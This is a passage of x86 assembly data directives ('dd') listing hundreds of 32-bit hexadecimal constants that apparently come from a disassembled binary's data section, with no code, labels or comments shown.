		dd 0C8408FA9h, 1FFC088h, 0ED9F1AACh, 0BC2BC1E4h, 40D9FAAFh
		dd 2EF79CBFh, 0D5F1D780h, 414FA2B4h, 0E14BF4E3h, 0E5EBF00h
		dd 9CB6C9FFh, 8BAB0B95h, 0F93533h, 0C118FAD9h, 5751AD00h
		dd 0B1E85E05h, 0E4909FBDh, 0EA165573h, 2BF47ABh, 18442512h
		dd 75003876h, 0EBFF9F95h, 0FDA5A1Ah, 92283244h,	0E326F404h
		dd 39DC888Ch, 9B83F9EEh, 4E9A8260h, 0C8AE90A8h,	0A2DEF7Ah
		dd 88E0C3A6h, 0FE646EB7h, 0B997176Bh, 0F030E6DBh, 0F15A59h
		dd 0EF91B3D6h, 0A893F3C8h, 0A942613h, 9B990801h, 60099FE2h
		dd 4F5963Ch, 2F4FC8F3h,	17E2320h, 0ED509152h, 80ECCD51h
		dd 0D128B399h, 14B711h,	0EFB9A27Ah, 0E3D5D9E0h,	5F1098BDh
		dd 2B64009Bh, 3A70D691h, 71099ADAh, 74CDFFECh, 0F9467668h
		dd 9BF31Eh, 0E1C38099h,	22F08FF7h, 175C794Dh, 0F0A26F14h
		dd 9BB8C4h, 3AB4A02Fh, 0D01EBD82h, 0B5FC044h, 851B4269h
		dd 8C11581Fh, 2F69DB81h, 0D8C8C8F7h, 0ED6BA0Bh,	0E724403Ch
		dd 0DEA55BC1h, 30E3C3B0h, 0B4B9C899h, 0F1276BF6h, 81E4AC65h
		dd 9AAFC060h, 3058F6E2h, 23FB09A8h, 0B9CCF037h,	0E1003DCCh
		dd 0A09FB284h, 4900AE68h, 4CA7BF3Dh, 4838617h, 9723F52Ch
		dd 3423FED8h, 9B695FB8h, 0D7DF8078h, 396D3044h,	0A32A9BF2h
		dd 0CFCC5EF4h, 0C08C884Ch, 157EDC1Eh, 254C39ECh, 0B53100AFh
		dd 1FF76C48h, 797A2411h, 24F4220h, 0B444F8D2h, 670D000Eh
		dd 80132835h, 3E00E5E0h, 44961BEFh, 272AA5FFh, 18F19A2Bh
		dd 1303FA8Fh, 916B7CE0h, 0A2D1972Ch, 0EEF80090h, 638C1779h
		dd 864D00B9h, 99C2C607h, 0F1099043h, 0F6825A73h, 40F452F4h
		dd 0B7F8001h, 0DB2B41FEh, 0B4A08AF8h, 0DA5DA73Fh, 3E6D5BC8h
		dd 1F223BCh, 0D3634426h, 980B7AF6h, 0A3D8D3E1h,	985258DCh
		dd 93163502h, 0DE2DC210h, 0B0412B0h, 0AC18B6A8h, 54003E36h
		dd 70B0D54Fh, 0C07C0F61h, 5C316890h, 209F33EDh,	0E2EFD0ECh
		dd 684DB5C8h, 5058A7C0h, 97C0B242h, 0CED06Dh, 0EFB17802h
		dd 0E625A73h, 0F324FAC8h, 5C02BBB3h, 0D972553Ch, 187E7978h
		dd 8C9E0481h, 0EBC6EE2Ch, 0CCC11434h, 8B44AEDCh, 690B8CFDh
		dd 3870835Ah, 20BC5749h, 939A2D6Bh, 249D14A9h, 72838311h
		dd 0D7B044C3h, 0F31DED1Fh, 308411CEh, 12FE766Ch, 0B8D0B82Ch
		dd 0FE168C87h, 0D8046F57h, 2B0472E7h, 0B4DCE76Dh, 646DCE82h
		dd 950A5AC4h, 0A16F04C8h, 80D4DB0Fh, 0CCF95EE5h, 73950569h
		dd 0E9AC7BF3h, 0B8A89010h, 0EC0B8C7Dh, 621F1CBEh, 6C37DDBCh
		dd 9D73D400h, 4F42673Eh, 49CE033h, 0CC8C75Bh, 0AA690282h
		dd 76D4C987h, 758FA5C0h, 9EE8C13Fh, 0BE807908h,	0C2382EC7h
		dd 0A7B401E7h, 3408C89h, 0C2083871h, 380875Ah, 0C90F7659h
		dd 0E6EDFFDBh, 766581Ah, 0B28C0D73h, 813A40F1h,	45ED61Dh
		dd 0DA6B58DDh, 834C8090h, 0E6EAB97Ah, 80817C8Eh, 0C01BEBBh
		dd 0B39C3D5h, 8BC87ED9h, 486DFAABh, 0CC43B8DBh,	0A13082A2h
		dd 0BC7D0016h, 2A07CD1h, 7B129812h, 0A010A246h,	80845CC2h
		dd 9A17F0AFh, 69F72605h, 0DC160BF5h, 0CD65076h,	0E94FB85Eh
		dd 5AEEDA59h, 0E14DB400h, 0E73AD461h, 54C99F7Eh, 0F0621273h
		dd 8E260FF4h, 0C93616B1h, 0C0CB3BA8h, 90C0BEC8h, 12B6E36h
		dd 75C5E5A8h, 0F2FDA39Dh, 84430040h, 54F3280h, 880F2DE2h
		dd 0D421BEF2h, 0A450745Bh, 30E71Fh, 8A65045Dh, 79C22939h
		dd 9D62A16h, 8BE840A8h,	54403C8Ch, 71C58086h, 7C4440C8h
		dd 7B1750Bh, 427B93E5h,	3DE1708Ch, 0A4B9CA03h, 0C41882D1h
		dd 0EA6B4D00h, 460BD4C8h, 0E0924F15h, 0B686B764h, 40E1D4B0h
		dd 1B7D9DAEh, 3CB0074Bh, 9CAC4497h, 5B27F53Ah, 0F89C08DBh
		dd 0CEDF320Bh, 78002074h, 0ED3FACB4h, 84685D2Ah, 2BBC904Dh
		dd 48506525h, 1CA3124h,	7BAF4B72h, 78B7F2D8h, 4AD43F78h
		dd 895F38B0h, 4E846CA3h, 6CA060F7h, 0F600FCACh,	21B83532h
		dd 25691586h, 3478DB62h, 0C5E7CC03h, 0A98CC9D1h, 5CDA34CFh
		dd 901FD6B0h, 0D10136A6h, 27303E83h, 0E774407Bh, 5019C0A1h
		dd 0AF062106h, 1538E69Ah, 0C0EB6475h, 0F426A706h, 4F2DE8FEh
		dd 11D49F1Eh, 0F48880FAh, 2B39375h, 5DDDD715h, 0C32EB7C7h
		dd 2184F6h, 0B4A56E78h,	0C48043FEh, 44034901h, 9EF2338Ch
		dd 9440163Ah, 0E0A4F6A8h, 12CE38FBh, 0E4F1302Eh, 4CBCCA80h
		dd 0EFBAF703h, 0CD32F038h, 883E2F9Ch, 90926867h, 55B0F4B7h
		dd 669FC1EFh, 648F5CD8h, 0A31F9E20h, 67276827h,	618364BCh
		dd 1F0E6FBh, 0D59100FDh, 7465D2Bh, 7E5BA342h, 670404F7h
		dd 57A5F3Ah, 88ED80h, 5FBE69Ch,	8135044Ch, 27C8ADE8h, 0C76C61DAh
		dd 89EC902Ah, 8E007F1Fh, 646015F3h, 1770089Ah, 0A3851693h
		dd 30C0B2D4h, 0FF734D36h, 5D05977Ah, 28B4CED7h,	40D398A0h
		dd 2D05F285h, 0A64C90BCh, 256484C0h, 799D3D45h,	31966900h
		dd 0C09A60FFh, 0C1D5E701h, 0A14C599Ch, 0B9CEE060h, 18BBD198h
		dd 4D6E02B2h, 0B2A07E8h, 795A4CE8h, 13AEC0A8h, 3C839300h
		dd 2FCD751Dh, 7C0C000Eh, 0CBA7A641h, 0F70817EFh, 962B2374h
		dd 0C86C8B3Dh, 5BD6C9C1h, 15D77D00h, 99FF4D0h, 0CBEBA317h
		dd 732D80FCh, 23267030h, 7003C9E4h, 64D8F909h, 4849D093h
		dd 989605CCh, 0BA9C7C4Fh, 0BF00E07Ah, 5A3D625Eh, 0A10E6C5Fh
		dd 22D12E88h, 48967BF1h, 2F272D18h, 28270D7Ch, 0F7194C46h
		dd 0A0031F25h, 1BFD6608h, 948B9547h, 9A7C3446h,	18D33335h
		dd 0A6F474BEh, 3AD9A0ECh, 68700E62h, 0BC0F97Dh,	35074730h
		dd 2E638490h, 0C56B5D10h, 23482FEBh, 0A0FA008Bh, 15AE5F25h
		dd 1448995Ch, 62588FCFh, 10833310h, 0E900BD8Bh,	8907D128h
		dd 0DD17918Dh, 5C85430Ch, 0E9E1D53Fh, 201C312h,	0B3CFA783h
		dd 0A6F83CCCh, 7E5600FFh, 0ACA2F840h, 0B7076AEEh, 0F05C083h
		dd 0BF90FB50h, 3D3777C9h, 80185007h, 0F98B4B02h, 8D1909FEh
		dd 6A720C51h, 56040CC3h, 202703E8h, 1C35E39h, 4247489h
		dd 8984481h, 5646211Bh,	13EC300h, 0C5722948h, 0C8A56288h
		dd 66033275h, 9D12D2BFh, 8F1A112Fh, 78D4C0BCh, 16BB14h
		dd 13D68166h, 0E195FF28h, 505E1D50h, 58392DA4h,	448911C3h
		dd 40801888h, 83F1C350h, 0DEF2025Bh, 22E1B58Bh,	669DBDA0h
		dd 42EDD4D5h, 90A3C9CFh, 8590D3FFh, 3AA12921h, 725B1853h
		dd 5C8921C3h, 5343C3h, 9A669920h, 6DCE98Dh, 23E81ACDh
		dd 842A5DC1h, 98FC50E1h, 78C15E8h, 9501FE14h, 81A8EC6Dh
		dd 2067BD78h, 2A8CD00Ch, 0EF86370Fh, 7DBDE137h,	8B208313h
		dd 7C1F459Dh, 1CC5330Dh, 2A70E345h, 1851E3A9h, 23C37259h
		dd 14114C89h, 0C3514100h, 0B98589D8h, 0B500161h, 66E10FDBh
		dd 316C25B1h, 891DA811h, 0F8832140h, 873D51EDh,	1084B688h
		dd 0E158899Fh, 0D452E927h, 0C6020F17h, 85C746CBh, 3011D85h
		dd 1AF1B533h, 0C8383522h, 5AC352D0h, 548991C3h,	42844B23h
		dd 7D1E8052h, 0B00E099h, 0DE819ABEh, 52549563h,	88703D5Ah
		dd 6D24B503h, 0B2A1302Fh, 0CDBD3182h, 0FF232114h, 9B9CCBFEh
		dd 0B0BBC395h, 8B75E0CBh, 14019842h, 0B68C66F7h, 0F6F90A76h
		dd 11A304C3h, 0FA8B1237h, 0CCC5A40Ah, 0E990F885h, 35C1B220h
		dd 0D59C003Dh, 464878E8h, 4013120Fh, 9A0EE94Ch,	2D0B8C50h
		dd 0CA4B0085h, 84546A8Dh, 8713F8CBh, 60E90D6h, 0E91A3015h
		dd 0B40D366h, 0B0542F7Bh, 0FA02C7DAh, 0E470E6C5h, 44E74771h
		dd 6B36601Ch, 60AF00D9h, 966D323Eh, 0B505BE66h,	0D8B60F98h
		dd 1823F43Ah, 7400A1Fh,	0BD23CEB4h, 8E24E325h, 16DD20B5h
		dd 719D2928h, 3F06BA30h, 0CF13E860h, 64A0B40Dh,	8B3E4BC9h
		dd 0E5161D00h, 0B194D460h, 41B75C82h, 5953AE00h, 0C38B615Fh
		dd 16C456A5h, 0F3760660h, 2069A8C4h, 4E8C103h, 0E574E23h
		dd 8944C35Fh, 2017627Ch, 5C35747h, 0FC189917h, 0A1D95B00h
		dd 61958920h, 0F7665B59h, 0D82BFCE2h, 9D2CBB92h, 8C1432ABh
		dd 16F4C34h, 241C89FAh,	4332B5FFh, 61559064h, 89C8C35Dh
		dd 4500876Ch, 801CC355h, 58394851h, 4AA1E178h, 1816716Dh
		dd 82A30927h, 400AFB8Bh, 13D10851h, 4F854128h, 646015C4h
		dd 0F7488BB9h, 0DF884060h, 3CAA7301h, 0EA830F61h, 2E0B9E35h
		dd 6BC11A88h, 1DF49F67h, 894E09A9h, 442AC1B5h, 11C7A46Dh
		dd 82020005h, 0F5589C2Ah, 0B55F485Eh, 34FEB212h, 885CCE4Dh
		dd 0CB41C016h, 952E0907h, 0E6B05129h, 90A6DBCFh, 0D1599159h
		dd 9DCC1918h, 8FE724F4h, 0F6818055h, 7F0D82C7h,	24D7094Ch
		dd 3693718h, 93179FAh, 0B093BE13h, 203A400Ah, 2033986Fh
		dd 58052DBDh, 16059529h, 41396888h, 88378521h, 8A3E011Eh
		dd 32001723h, 0FA89780h, 0B9F21CBFh, 0F1F32907h, 0E2181Dh
		dd 8E5A4984h, 0E302B385h, 0FE098BF0h, 90870F60h, 0C00EE926h
		dd 0B8E6C90Bh, 19000201h, 94A6122Dh, 0BADC176Bh, 24752068h
		dd 0F99C6150h, 50831B40h, 209D93C1h, 3B2E0925h,	981108D9h
		dd 1018032Eh, 7F1F4C1Dh, 17D14799h, 9D139718h, 3022D9Bh
		dd 0C9C1F6F3h, 0FC125C3Eh, 0CF813DCCh, 5BD552D5h, 1B4401C7h
		dd 58A0A860h, 933BDDFEh, 642BBDAEh, 84100E59h, 0B0C9910h
		dd 9108343Dh, 0F9111286h, 405C72E9h, 1B505592h,	55A1994Fh
		dd 3D1C88C0h, 0D866B208h, 14444667h, 0D140EB62h, 60483925h
		dd 19C03CA9h, 0C17261E7h, 0C297FACh, 0DD0C1EA9h, 788C2309h
		dd 53861B8Bh, 14A23A92h, 0F284031h, 145F85E1h, 19236B2Eh
		dd 0DB640900h, 35F04AD2h, 0CE6385FFh, 0C3178869h, 3B828F8Dh
		dd 59D5CE98h, 666FB700h, 56B2BB80h, 2875008Bh, 0C9D18EEEh
		dd 532C0E1Eh, 6CCA3B38h, 26307508h, 0F7E9C622h,	110187B0h
		dd 98F8E689h, 75299047h, 0F581CBB8h, 0BD82D855h, 11CF9DF0h
		dd 0C2FF8216h, 4486476Ch, 0FC26601Ah, 773F0993h, 882BB9Dh
		dd 0DC642571h, 0F542EF62h, 9D5F4860h, 260349C9h, 0BD16C131h
		dd 2E4B38A9h, 7A41F2E8h, 5FF00CF9h, 0E50A1F31h,	5B69872Ch
		dd 2B371B61h, 97E3428Fh, 8209D31Fh, 0F1A5846Ch,	148838CEh
		dd 0BD0B42CFh, 4AF7AC91h, 453898FAh, 77F40C18h,	0DD86600h
		dd 0F96EB4Fh, 371FB181h, 3182080Ch, 482BE1BDh, 71F92A12h
		dd 758DA0FFh, 8596A42Fh, 6019C456h, 64C30E8h, 0E94B6D79h
		dd 51001D11h, 4029A2Dh,	0E8CCBFh, 0AF1B6D09h, 43A90852h
		dd 50EBFB3Fh, 1CA0E850h, 921C4703h, 7A807EB7h, 81C01BF0h
		dd 2267684h, 600DCB17h,	0A32008E9h, 3A6C201Eh, 0AFB1B8FDh
		dd 115EDD2h, 0D2235F61h, 85301DA2h, 13570010h, 1F7E4FDAh
		dd 0BFA1CFC4h, 0B5331006h, 0A7104C65h, 0F4315984h, 0BFBA6174h
		dd 1946504Ah, 0B1262404h, 6F943500h, 7E6D16A2h,	45AB10ABh
		dd 1428905Ch, 982C22Ch,	0EA71D548h, 65181AD1h, 9DFDDB02h
		dd 409B1B39h, 821CC1B6h, 12C4C670h, 90000EF1h, 0C4CDB7BFh
		dd 22EB6748h, 86A60009h, 3C862D4h, 4E4899F3h, 56F90AC3h
		dd 4724CB5Fh, 9958985h,	1D279D5Eh, 801D11C6h, 7CE6D53Ah
		dd 14D401E0h, 0E8166FE7h, 84401705h, 98ACBB5Ah,	8FD70D15h
		dd 35C55E52h, 0D3BD38D0h, 2D6DAA04h, 18639DF7h,	31003305h
		dd 22E781D3h, 9E35395Dh, 1C46D6A3h, 5FD9FB00h, 50329321h
		dd 89AEC504h, 1790B1B5h, 9E0894E9h, 481358ADh, 0E78A7182h
		dd 850DBC4Dh, 29161891h, 0BB2FF608h, 0CE019112h, 0C018C863h
		dd 0E55827EDh, 4222725Ch, 0BE660491h, 0B4F3DA4Fh, 9EF28650h
		dd 4CC89195h, 8C1DE807h, 77FE1901h, 2C819812h, 4A92B1FCh
		dd 0A52541E8h, 0F83F8D91h, 0D200F689h, 9548BD17h, 775FAE03h
		dd 46782783h, 0C22EC291h, 0D4D0675Bh, 7221D4Ah,	1F924B2h
		dd 0E9AE0ABFh, 8B1B3878h, 3B7A88F1h, 463F0117h,	64001823h
		dd 61FD1712h, 8DB52723h, 5201BD87h, 0E90332CDh,	0E8332C3Ah
		dd 7A804912h, 14A51A67h, 0C01ED658h, 0EE434644h, 526A7CB7h
		dd 8A70545Fh, 0AF00D8D1h, 39EF1924h, 70A80065h,	8C3C4B17h
		dd 3F04954Ch, 8DDDD959h, 0A52C2A8Dh, 35DB5A74h,	0CDA60607h
		dd 8C7F2316h, 0D5780393h, 0E7C1009Dh, 3994BC32h, 0AB4104Ch
		dd 0B42A4646h, 2074DED3h, 0C1E9705h, 0E209DAC4h, 0A0F046F8h
		dd 8110E577h, 0D0782090h, 2950093Bh, 0C381AF56h, 135E8F2Bh
		dd 0EAD376C5h, 7B79CABAh, 0BAE700Ah, 78C05C00h,	6B4509F0h
		dd 0D92491B0h, 0E3181Dh, 9C4DC455h, 61C232C5h, 70E68113h
		dd 41801E9Bh, 0E463238Ch, 0BC82714Dh, 0E5BC0059h, 0AFF76AAEh
		dd 79ED6BEh, 7E126017h,	0E201261Fh, 617F14D7h, 2C15C041h
		dd 3A965369h, 1C235Fh
		dd 0A8EB59D1h, 6C00EF46h, 32BE58A2h, 26211A1Fh,	0DE0CC38Bh
		dd 4DFC6801h, 0F3BB9F64h, 41D97A20h, 9D853005h,	2496AD4Dh
		dd 1259929h, 820F618Dh,	0BF025D62h, 4BFF650Dh, 8F997CD0h
		dd 641818D1h, 59327209h, 2B3BE096h, 781993D8h, 52005D54h
		dd 83130EDEh, 94FCA3Dh,	10419501h, 7216C544h, 9382501Eh
		dd 7CCD90E9h, 56520BC5h, 9E4EB96Bh, 1B444585h, 0E4142360h
		dd 607F602h, 0E0515C35h, 8113F1C8h, 0D4AA695Fh,	8C1BB847h
		dd 8B2D4800h, 7350B09Ah, 77667786h, 0D93291FBh,	1F0181Bh
		dd 0CCAA8D8Ah, 20E4CD65h, 0B90FE6Ah, 242D752Dh,	0A083F5D6h
		dd 0EAADDA8Bh, 27B97A28h, 0EDBD029Eh, 18398802h, 0C0A94A9Ch
		dd 91211D7Eh, 0B96D699Eh, 5160DB42h, 0B88100F9h, 3EC07292h
		dd 380B88E8h, 40D8AA91h, 0C3E285B7h, 5661F6F8h,	27558610h
		dd 28B45F24h, 33E145EAh, 7F8201E7h, 5F2E4145h, 79D8CAF8h
		dd 772A1E61h, 91F6F9Eh,	48811511h, 0A88A0F99h, 2B09B815h
		dd 2C0E11A7h, 5A85A295h, 9BB15623h, 592180F4h, 0A0F5299Bh
		dd 812A69F7h, 0F0B87658h, 31B4B07Eh, 0A54E8BF1h, 0B5670707h
		dd 6B32065h, 35A68521h,	517465Ch, 16C279ABh, 0FA3A68C1h
		dd 0E88B076Ch, 0E47FA8E8h, 0D038B371h, 669B002Fh, 0C4EE3E64h
		dd 0A221286Ch, 1E5D20A0h, 0C1835E14h, 8C16BC47h, 0B57F3216h
		dd 5B18ED93h, 96D6EDBh,	68E9E2F0h, 1699954h, 91572E89h
		dd 8B40906Fh, 0B75F1F2h, 0C71842F9h, 62194421h,	0D7016030h
		dd 0B6FCF051h, 27934618h, 873795h, 0BD2999D4h, 0F5813191h
		dd 5B2C4B76h, 0E601DE56h, 0C674F779h, 0A691BAA2h, 0F28B0402h
		dd 0EEC0C32Bh, 0B65877E7h, 292CC635h, 1DC1C9Ch,	684AFAB8h
		dd 41E96594h, 0E1B50326h, 0D4066C19h, 8C1CB8EFh, 0E6AE2900h
		dd 7A496487h, 410C5B92h, 0BD95896Dh, 4A466D06h,	313D5F90h
		dd 6E1C4AE2h, 64690019h, 0D219113Bh, 8D890A30h,	49622D99h
		dd 758043B5h, 0EEAD8B2Eh, 26D824F9h, 233909FAh,	85428473h
		dd 81CB2E17h, 34902598h, 986EFC2Dh, 5A95295Fh, 64A313F5h
		dd 0CA4ED4CAh, 0DA6A4FA2h, 22233D00h, 0CCCDDD66h, 0F920EF98h
		dd 6E905F28h, 0C925032Ah, 0A1C4912Ah, 4D4EA6Bh,	0D58D1609h
		dd 0C8C8CE1Ah, 6D5CC01Ch, 3C040F10h, 51D5F790h,	0D4BD5DC3h
		dd 2F0CE806h, 590762FCh, 72D2F326h, 19928407h, 0F90EE188h
		dd 40CDDB60h, 8AB15E24h, 0DC729D8Eh, 54E1DD80h,	740F795h
		dd 37539BFBh, 92235568h, 0BF0711C8h, 3467F20h, 0AE93051h
		dd 44357E45h, 4008F301h, 0B86224A2h, 4986042Ah,	10A8B11Dh
		dd 0B575181h, 316B86B8h, 55D1048Bh, 0FA8B3459h,	818065D1h
		dd 0AF41CAF7h, 78A99B14h, 23092735h, 0D329B1B5h, 41F9D15Fh
		dd 30D46EB5h, 0B005EE36h, 0B8B0F33h, 10D65400h,	198F84h
		dd 0E39073BEh, 0F772E903h, 0E8C5FF71h, 65B332E1h, 0D7F16643h
		dd 0D74B6C2Ah, 1723BA2Fh, 718B7202h, 0CD7A4066h, 0EB0DB618h
		dd 0D000C0B7h, 0B47F2BD3h, 320F0566h, 0B550B514h, 1675D82Fh
		dd 601C448Dh, 2099B79h,	5B3892CEh, 7502EB91h, 0F9D1D121h
		dd 15E1818h, 2F9D03F2h,	3A06890Fh, 1AD9321h, 3BA48F48h
		dd 0B97CD552h, 0D60926Dh, 6106C159h, 594168FDh,	4808BCF8h
		dd 23059AAEh, 0E89031h,	4462B844h, 5EFC38B6h, 4B96507Eh
		dd 74991DCh, 0A9CFFB84h, 4CD0A458h, 8C16F89Dh, 5B0DD23Ah
		dd 9DC15135h, 5E022D65h, 0B7A753D9h, 0A1CD0029h, 0BF923343h
		dd 63691902h, 0B7D3FF75h, 0EC2C8083h, 522D593Bh, 60DF0E05h
		dd 24C2D48Ah, 6D274061h, 9BD38232h, 0E65988ABh,	3BF8CFC4h
		dd 7B0B8ABBh, 0F260B403h, 0E92D40D4h, 499B9C37h, 2C5934AEh
		dd 1813E4BCh, 0DA023F61h, 40DE5F10h, 80177D58h,	0BFBE8D0Fh
		dd 0A3258C44h, 7644CFD1h, 388084DEh, 66E2FD9Eh,	0F61703F8h
		dd 3D04B8E4h, 1F5219F9h, 0C6966040h, 0B790240h,	0B6877421h
		dd 0F3B769D1h, 423FB880h, 5BF7BEDEh, 89F04DA3h,	536E3A25h
		dd 8FC3500h, 0BD833F23h, 0D7B650F0h, 0AF284146h, 6CB040A8h
		dd 4769E96Dh, 0E0484D14h, 0C7E9CDA8h, 469C856Bh, 0B52B0AEAh
		dd 91B90FD1h, 85290B14h, 1BDCA811h, 4B48114Eh, 8D92EC0Ah
		dd 8A0F62D8h, 807CD992h, 0ACE22913h, 232B2BD7h,	293E0215h
		dd 3274800Fh, 122D196Ah, 556982C8h, 0A9440B2Eh,	27895B44h
		dd 0D409EDB5h, 0B79F3F46h, 8DCF00B7h, 5599F81Dh, 50163271h
		dd 6B535F52h, 584E376Fh, 0A9BD46DAh, 2789A3BEh,	80743D04h
		dd 564EB263h, 0CC01C97Fh, 0C86461BEh, 6F6BB074h, 79671D34h
		dd 34EE6E41h, 72606D74h, 1B9A9FFEh, 476FE16Dh, 6E0324Ah
		dd 5482D9Fh, 59B501E5h,	215BE425h, 0B6C9164Eh, 3185F501h
		dd 18B8A46Dh, 0FCF9E68Ch, 1C60E62Ch, 4107CF81h,	0CE802B4Ah
		dd 51F3F86h, 62BFB44Eh,	0CA459529h, 798F8262h, 1961071Ch
		dd 0DC54EAE2h, 0B84C1FDCh, 849CECB7h, 0F0CE7E1Ch, 8D1129E7h
		dd 9E942E69h, 78C19B8h,	7384BCC2h, 8D3121FAh, 0A90B2EBDh
		dd 0BE558150h, 0BAD07A75h, 61732D15h, 7438838Ah, 0AD121546h
		dd 31CBCC62h, 9FDBD2Fh,	9CCE4E1Ah, 3E00D44Fh, 37B1E385h
		dd 70810F86h, 15BA950Ch, 1D159F82h, 256DF809h, 7DC1F78Bh
		dd 56240524h, 0CCC2449Bh, 57CE912h, 2A317F80h, 3F90C29h
		dd 5C17EBDEh, 0DC0F912Ch, 0CBC2AAE3h, 1AEE454h,	58317D19h
		dd 6D96F0BFh, 0AA352294h, 118E1D6Fh, 1A4E8914h,	0DC367E85h
		dd 6602709h, 11AF0248h,	71400B2Ah, 1B5A4D85h, 0F34B6699h
		dd 1CC01988h, 12389BC2h, 0A4E8C9AAh, 1B0082CFh,	0FE39468Ah
		dd 0FA450697h, 79F6014Eh, 3E140D67h, 3A04C9Eh, 84242D3Eh
		dd 5F34B14Eh, 17829394h, 0CB934621h, 4924B1C2h,	88C8CE58h
		dd 9520CE1Ah, 8EFE7ECCh, 0A4F9A12Dh, 64585F51h,	0D1822745h
		dd 278F2C34h, 0F15BBDE6h, 7EE32112h, 2B193A62h,	10B4FC05h
		dd 0B5F98B33h, 0FD7CE64Dh, 50FFD3C9h, 3B0BB04Bh, 4F67F5Dh
		dd 5341089Ch, 34C59D01h, 0F2B45F9Fh, 9C23EA46h,	4E00DCFBh
		dd 0BF724BEDh, 8321AE6Ah, 6039E796h, 5B611A53h,	0DE880DDEh
		dd 0C4C4CDE2h, 0E3856314h, 0AB8799EEh, 4085DCF6h, 3D4CB49Dh
		dd 9AC76D00h, 671E4034h, 9137B55Bh, 3F169703h, 0F88BF810h
		dd 6E3BF32Bh, 946028Fh,	7E29DDB5h, 142B517Fh, 5F59104h
		dd 1728E906h, 0C8615C8Dh, 0ABF42DA3h, 5AC0628Bh, 987E1EFDh
		dd 0A2C8E964h, 155E00B9h, 8EF50E28h, 9117666Eh,	0FD12D948h
		dd 1378DB4h, 8955F487h,	9634118Dh, 0EB8FC04Bh, 7E293924h
		dd 84001D46h, 73620118h, 4A16F898h, 5CC58EEh, 95891260h
		dd 0FB655ED5h, 9085692Dh, 42429961h, 14D415B8h,	40B2952Fh
		dd 0E3DDF67h, 62CFF00Ch, 0A9F15E01h, 6E3B90E9h,	82BD385Eh
		dd 0BC82D4E6h, 40F67CC4h, 7306ED4Bh, 0EC2EFC01h, 7F36129Dh
		dd 503F8871h, 5110EAA1h, 0F5F0614h, 6821FAB7h, 0DEBDE426h
		dd 0F409013Fh, 0E507500h, 8B46412Dh, 48EEB4F2h,	3B0800CFh
		dd 835E7F35h, 0EDD69E25h, 723EC00Fh, 17059374h,	0A0900F34h
		dd 0A561D682h, 0F21C51EBh, 5E000150h, 0F68166F5h, 0B7B53412h
		dd 3C220289h, 2D711CB5h, 865D900h, 9FEB4732h, 9AB7E88h
		dd 106F0719h, 2EB20340h, 96AC000Ah, 0D8BF3D84h,	205CA4ECh
		dd 0A5606247h, 80600032h, 505C67CCh, 0F12DC02Bh, 0D09C22h
		dd 0A2061A7Eh, 307B3D7Ah, 0BE845900h, 58EFD5DDh, 0FE93060h
		dd 728CBA35h, 0ACF80A00h
		dd 93EA5DDCh, 0F1680B0Dh, 0F381D217h, 0C46134A9h, 3FB6CEE9h
		dd 0E55A0E2Dh, 0DF3A6039h, 11121423h, 17FADA2h,	220A5CF5h
		dd 0F80F9B47h, 0A7048C85h, 0FD0EA0CEh, 4916D504h, 9307C3B9h
		dd 8E8CED0Fh, 13D92085h, 0A98D2112h, 699B02C5h,	7EE77DC1h
		dd 34FEBB67h, 21106A9Ah, 64C731F5h, 300433A1h, 0ADDC9CC0h
		dd 3A3D17F0h, 0B2748079h, 827CE849h, 150E7DD4h,	508B8572h
		dd 0D6E5Eh, 76430E8Eh, 395C8816h, 8D5C9C2Fh, 0EE59DAC0h
		dd 7C00EBEDh, 0D00638B7h, 12D7BB8h, 6D95AAECh, 1005E9EFh
		dd 24A02F70h, 9C8C6D9h,	0C18401E1h, 0D7814007h,	15F24BF4h
		dd 7B8BFC4Fh, 0F82A1A48h, 29064419h, 3240BC90h,	43605D61h
		dd 2B01FEBCh, 40DE0CB8h, 0FB4CDD8Ah, 15B51489h,	0CD85F527h
		dd 0B2C4E303h, 0A4143019h, 66AA1F0Ch, 9AE54ED5h, 605B8DFEh
		dd 0DF62F50Ah, 8B88CE15h, 34F6484Eh, 99345BD9h,	81F31E16h
		dd 0B19D2904h, 0FBF21331h, 3B01F33Eh, 7C47BD64h, 555CA073h
		dd 2DCED94h, 200DBB01h,	49A51585h, 0B004F722h, 0FD3898B3h
		dd 0A2D60D20h, 44B547FEh, 0D0F66115h, 460BF84Dh, 4AC21B88h
		dd 0D4086037h, 0BD3F0219h, 3307BF66h, 5FCDF43h,	0A03E2725h
		dd 0D1161423h, 0B1B13709h, 6A061E39h, 8B398315h, 0DF894032h
		dd 2470B4A6h, 703D9Dh, 0C3E922Ch, 0BA0A66F9h, 408BBE9Ch
		dd 0F0D7B841h, 661F3752h, 31292D92h, 3FBAD730h,	7D5B5400h
		dd 0ED3A33CBh, 0F87F0FBFh, 95201F4Bh, 0DA318F24h, 7C63E8AFh
		dd 0E0EBE85Fh, 34082BBFh, 181A59EEh, 9265004Bh,	90A1689Dh
		dd 5709F381h, 0D17856F8h, 95CAA070h, 0C56D76AFh, 60487410h
		dd 0E5A749B9h, 0A961949Fh, 0D21F3E69h, 488E1B11h, 1E3FCF9Fh
		dd 0FB19EC1h, 374E4488h, 4F4808CEh, 0C05DEDADh,	528ABA6Fh
		dd 8B32F004h, 42AA559Dh, 28358577h, 0C2FD3E6Eh,	0BF49874h
		dd 7013F5C5h, 154135D0h, 23291061h, 0B29CB13Dh,	5801297Ch
		dd 48B223E9h, 7B651900h, 698701EEh, 96EF00DCh, 0BFDECB58h
		dd 0C776B441h, 0E5A02D07h, 5AE0F4B8h, 3AA5E0CDh, 0CC9DBA47h
		dd 0D880BE32h, 1ED8F1Ch, 14002944h, 0B39B19FEh,	3522D5h
		dd 0CBB89D53h, 0A9930CEh, 817F1D00h, 15D3AF9Ch,	0FD9B0088h
		dd 612613FFh, 84EAAA8Fh, 0C6B39F1Ch, 0AEC02A5Fh, 412D12EEh
		dd 66300154h, 4DE4C927h, 5E3AD4B6h, 240160EAh, 0B4620BC8h
		dd 0CBD01228h, 0E34F0534h, 880AF7h, 0BA65F49Dh,	0B417D44Bh
		dd 0CF00AB38h, 0E8A99623h, 3C290F0Eh, 1560A359h, 9885BB6Ah
		dd 7103FC70h, 0D7940784h, 2E5D1C96h, 86730197h,	0CBD89506h
		dd 982F1907h, 6D601501h, 9F5939h, 0FD8C2308h, 0B50F5B18h
		dd 2E8026DFh, 9EFEEBD0h, 917D0C62h, 2B4399D4h, 0A04B9400h
		dd 0C16C1071h, 5E510152h, 7F39CD36h, 0A1DE5076h, 850C6321h
		dd 3B88E3A0h, 31927A3Dh, 502F8D22h, 6064120Ah, 144439h
		dd 25B4F30Fh, 89672147h, 0CCB8A41Eh, 669B5ED8h,	0DE181479h
